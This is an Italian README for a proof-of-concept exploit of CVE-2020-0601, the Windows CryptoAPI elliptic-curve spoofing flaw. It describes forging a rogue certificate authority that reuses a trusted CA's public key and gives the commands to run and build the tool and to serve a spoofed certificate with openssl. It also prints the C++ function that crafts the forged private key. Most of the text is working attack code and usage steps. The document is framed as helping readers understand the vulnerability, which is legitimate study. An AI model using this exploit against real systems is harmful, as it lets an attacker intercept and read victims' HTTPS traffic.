
Proof-of-concept exploit per CVE-2020-0601 (spoofing CryptoAPI di Windows) che genera certificati CA rogue per intercettare il traffico HTTPS, con codice sorgente dettagliato che spiega l'attacco alla curva ellittica.
Il codice sorgente di questo strumento è pensato per aiutare a comprendere la vulnerabilità CVE-2020-0601 scoperta nella Windows Crypto API, vedere panoramica del CERT.
Lo strumento stesso può essere utilizzato per produrre un certificato per un dominio arbitrario che sarà firmato da un'autorità di certificazione malevola. Questo strumento produce una CA malevola con la stessa chiave pubblica di quella fornita sulla riga di comando.
Quando il browser web di una build vulnerabile di Windows prende di mira questo certificato, verrà considerato come attendibile. Ciò consente a un attaccante di rete posizionato opportunamente di intercettare il traffico della vittima.
Avvia lo strumento fornendo il percorso a un certificato Windows attendibile:
./cve-2020-0601_poc ~/path/to/USERTrustECCCertificationAuthority.crt
Nell'esempio sopra viene utilizzata una USERTrust ECC Certification Authority con la seguente chiave pubblica:
04:1A:AC:54:5A:A9:F9:68:23:E7:7A:D5:24:6F:53:C6:5A:D8:4B:AB:C6:D5:B6:D1:E6:73:71:AE:DD:9C:D6:0C:61:FD:DB:A0:89:03:B8:05:14:EC:57:CE:EE:5D:3F:E2:21:B3:CE:F7:D4:8A:79:E0:A3:83:7E:2D:97:D0:61:C4:F1:99:DC:25:91:63:AB:7F:30:A3:B4:70:E2:C7:A1:33:9C:F3:BF:2E:5C:53:B1:5F:B3:7D:32:7F:8A:34:E3:79:79
Lo strumento salverà diversi certificati e chiavi nella sua directory di lavoro corrente:
test-cve_evil-ca.crt -- CA malevola
test-cve_evil-privkey.key -- chiave privata della CA malevola in formato PEM
test-cve_evil-privkey-pk8.key -- chiave privata della CA malevola in formato PKCS#8
test-cve_host-cert.crt -- certificato dell'host di destinazione (example.com per impostazione predefinita)
test-cve_host-privkey.key -- chiave privata dell'host di destinazione (example.com per impostazione predefinita)
Per testare i certificati, avvia openssl s_server come segue e reindirizza le richieste verso di esso delle richieste di https://example.com/ dalla tua macchina Windows vulnerabile:
sudo openssl s_server -cert test-cve_host-cert.crt -key test-cve_host-privkey.key -chainCAfile test-cve_evil-ca.crt -www -accept 443
Assicurati che il certificato originale sia nella cache!
Il risultato dovrebbe essere simile a questo:

cmake viene utilizzato per generare il make file per compilare questo strumento. Come dipendenze sono necessarie le seguenti librerie:
Compilazione:
mkdir build
cd build
cmake ..
make
Una descrizione completa (relativamente) verrà aggiunta in qualche momento al sito web di Gremwell.
Inizia guardando il file main.cpp. Chiama vari wrapper OpenSSL che sono importanti, ma non sono correlati alla vulnerabilità in sé.
La parte più interessante è nel file cve-2020-0601_poc.cpp:
bool craftEvilPrivKey(const char *caPubKeyRaw, size_t caPubKeyRawLen,
char *outEvilPrivKeyPKCS8, size_t maxSizePKCS8, size_t *outEvilPrivKeyPKCS8Len,
bool doSave, const char *evilPrivKeyFileName)
{
// load public key of the provided certificate into native CryptoPP type
DL_Keys_ECDSA<ECP>::PublicKey caPubKey;
caPubKey.Load(CryptoPP::ArraySource((const CryptoPP::byte *)caPubKeyRaw,
caPubKeyRawLen, true).Ref());
// generate a private key using the same curve as in the provided CA certificate
CryptoPP::AutoSeededRandomPool prng;
DL_Keys_ECDSA<ECP>::PrivateKey privKeyBase;
privKeyBase.Initialize(prng, caPubKey.GetGroupParameters());
// get the private key elliptic curve parameters
CryptoPP::Integer privKeyBaseExp = privKeyBase.GetPrivateExponent();
ECP privKeyBaseCurve = privKeyBase.GetGroupParameters().GetCurve();
CryptoPP::Integer privKeyBaseOrder = privKeyBase.GetGroupParameters().GetSubgroupOrder();
// calculate an inverse value of the private key
CryptoPP::Integer privKeyInverse = CryptoPP::EuclideanMultiplicativeInverse(privKeyBaseExp, privKeyBaseOrder);
// produce our custom generator (base point) as a multiplication of the inverse value of our private key
// and the public key of the provided CA certificate
ECP::Point caPubKeyQ = caPubKey.GetPublicElement();
ECP::Point evilG = privKeyBaseCurve.ScalarMultiply(caPubKeyQ, privKeyInverse);
// create an "evil" private key object using the base private's key exponent and curve but
// with our "evil" generator (base point)
DL_Keys_ECDSA<ECP>::PrivateKey evilPrivKey;
evilPrivKey.Initialize(privKeyBaseCurve, evilG, privKeyBaseOrder, privKeyBaseExp);
// convert evil private key into PKCS8 format
CryptoPP::ArraySink evilPrivKeyPKCS8As((CryptoPP::byte *)outEvilPrivKeyPKCS8, maxSizePKCS8);
evilPrivKey.Save(evilPrivKeyPKCS8As.Ref());
*outEvilPrivKeyPKCS8Len = evilPrivKeyPKCS8As.TotalPutLength();
if (doSave) {
// save it as-is so this can be imported by some tools
evilPrivKey.Save(CryptoPP::FileSink(evilPrivKeyFileName).Ref());
}
// the code below converts the key to DER format
// however, as we have here our custom curve (not the "named" one), most of the
// tools are not able to properly import it. thus, leaving this code commented-out
#ifdef SUPPORT_DER_ENCODING
CryptoPP::ArraySink evilPrivKeyDerAs((CryptoPP::byte *)outEvilPrivKeyDer, maxSizeDer);
privKeyToDer(evilPrivKey, evilPrivKeyDerAs.Ref());
*outEvilPrivKeyDerLen = evilPrivKeyDerAs.TotalPutLength();
#endif
return true;
}
I commenti qui dovrebbero essere abbastanza auto-esplicativi. :-)
Grazie al blog di Kudelski Security e ai riferimenti menzionati lì.